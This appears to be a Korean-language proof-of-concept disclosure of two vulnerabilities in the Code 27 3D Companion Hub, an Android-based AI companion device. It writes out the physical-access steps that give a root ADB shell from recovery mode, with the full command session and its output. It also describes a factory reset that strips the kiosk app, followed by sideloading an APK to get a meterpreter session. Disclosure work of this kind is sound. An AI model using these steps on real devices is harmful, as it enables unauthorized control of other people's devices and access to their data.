
CVE-2026-36027 및 CVE-2026-36028에 대한 개념 증명
Code 27 3D Companion Hub는 맞춤형 AI 캐릭터("Codie")를 애니메이션 3D 컴패니언으로 렌더링하는 물리적 데스크톱 장치입니다. 사용자는 어떤 3D 모델이든 업로드하거나 생성할 수 있으며, 멀티모달 AI를 통해 캐릭터가 주변 환경을 인식하고, 어조와 신체 언어를 읽고, 개방형 대화를 나눌 수 있습니다.
이 글에서는 장치에 대한 물리적 접근이 필요한 두 가지 취약점을 다룹니다. 두 취약점 모두 아래 빌드에서 검증되었으며, 게시 시점 기준으로 패치되지 않은 상태입니다.
| 필드 | 값 |
|---|---|
| 제품 | Code 27 3D Companion Hub |
| Companion Hub UI 버전 | 1.2.0 |
| SoC / 보드 | Rockchip RK3588S (rk3588s_yt921) |
| OS | Android 12 |
| 빌드 ID | SQ3A.220705.003.A1 |
| 전체 fingerprint | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| 빌드 유형 | userdebug / release-keys |
출고 펌웨어는 userdebug 빌드입니다(리커버리 배너와 ro.build.display.id에서 확인할 수 있음). userdebug 빌드는 adb root를 통해 adbd를 root로 재시작할 수 있게 하며, 이는 CVE-2026-36027이 존재할 수 있는 핵심 요소입니다.
물리적으로 근접한 공격자는 Companion Hub를 Android 리커버리로 부팅하여 root 권한의 ADB 셸(uid=0, SELinux 컨텍스트 u:r:su:s0)을 얻을 수 있습니다. 이 장치는 userdebug 빌드로 출고되므로 adb root를 통해 adbd를 root로 재시작할 수 있으며, 이를 통해 공격자는 리커버리 환경과의 읽기/쓰기 상호 작용, 빌드 및 하드웨어 속성 열거, 리커버리 기능(sideload, fastboot, 파티션 작업)에 대한 접근 권한을 얻을 수 있습니다.
얻은 접근 권한은 라이브 Android 런타임이 아닌 리커버리 ramdisk 내부에 국한됩니다. 테스트에서 리커버리의 Mount /system 작업은 실패했으며(libfs_mgr가 /dev/block/by-name/system을 열 수 없음), 따라서 이 경로를 통해서는 system 파티션이 직접 마운트되지 않았고, 키오스크와 복호화된 사용자 데이터를 포함한 부팅된 사용자 환경도 이 모드에서는 제공되지 않습니다.
그럼에도 이는 중요한데, 리커버리 환경에 대한 root 접근은 영구적인 장치 상태를 수정(예: 파티션 쓰기 또는 제작된 업데이트 패키지 적용)할 수 있는 기반이 되기 때문입니다. 이를 통해 공격자가 제어하는 코드가 이후 정상 부팅 시 실행되어 라이브 장치에 발판을 마련할 수 있습니다.
Mount /system으로 이동한 후 강조 표시하고 확인합니다. 실패한 것처럼 보일 것입니다. 이는 정상적인 동작이며 익스플로잇은 여전히 작동합니다. (리커버리 로그에는 libfs_mgr가 /dev/block/by-name/system을 열지 못한 것으로 표시됩니다.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
# ls -la
total 840
drwxrwxrwt 33 root root 1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
1970-01-01 00:00 .
drwxrwxrwt 33 root root 1040 1970-01-01 00:00 ..
drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct
drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache
drwxr-xr-x 3 root root 0 1970-01-01 00:00 config
lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror
drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig
drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata
drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt
drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm
drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem
drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba
-rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc
drwxr-xr-x 2 root root 40 1970-01-01 00:00 product
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts
-rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default
drwxr-xr-x 3 root root 60 1970-01-01 00:00 res
drwx------ 2 root root 40 2026-02-03 06:23 root
drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard
drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources
-rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload
drwxr-x--x 2 root root 40 1970-01-01 00:00 storage
dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys
drwxr-xr-x 5 root root 100 1970-01-01 00:00 system
drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext
-rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp
drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor
drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm
-rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts
리커버리 메뉴에서 수행된 공장 초기화는 키오스크 애플리케이션이 설치된 userdata 파티션을 지웁니다. 키오스크는 system 파티션의 일부가 아니므로 재부팅 시 복원되지 않으며, 장치는 표준적이고 제한 없는 Android 환경(런처, 웹 브라우저, 파일 관리자, 설정 및 기타 시스템 앱)으로 부팅됩니다.
이 제한 없는 환경에서 공격자는 개발자 옵션/USB 디버깅을 다시 활성화하고, 임의의 APK를 사이드로드하여 실행함으로써 라이브 운영 체제에서 셸을 얻을 수 있습니다. 테스트에서 이는 권한이 없는 애플리케이션 사용자 u0_a79로 실행되는 meterpreter 세션을 생성했습니다. 이는 리커버리 ramdisk가 아닌 라이브 부팅 OS를 대상으로 실행되므로 CVE-2026-36027의 리커버리 모드 root 셸과는 다른 권한 및 데이터 컨텍스트입니다. 이 상태에서 설치되고 실행된 코드는 정상적인 장치 작동의 일부로 실행되므로, 공격자에게 장치 및 사용자 접근 가능 파일시스템에 대한 대화형 제어 권한을 부여합니다.
Wipe data/factory reset을 강조 표시하고 초기화를 확인합니다.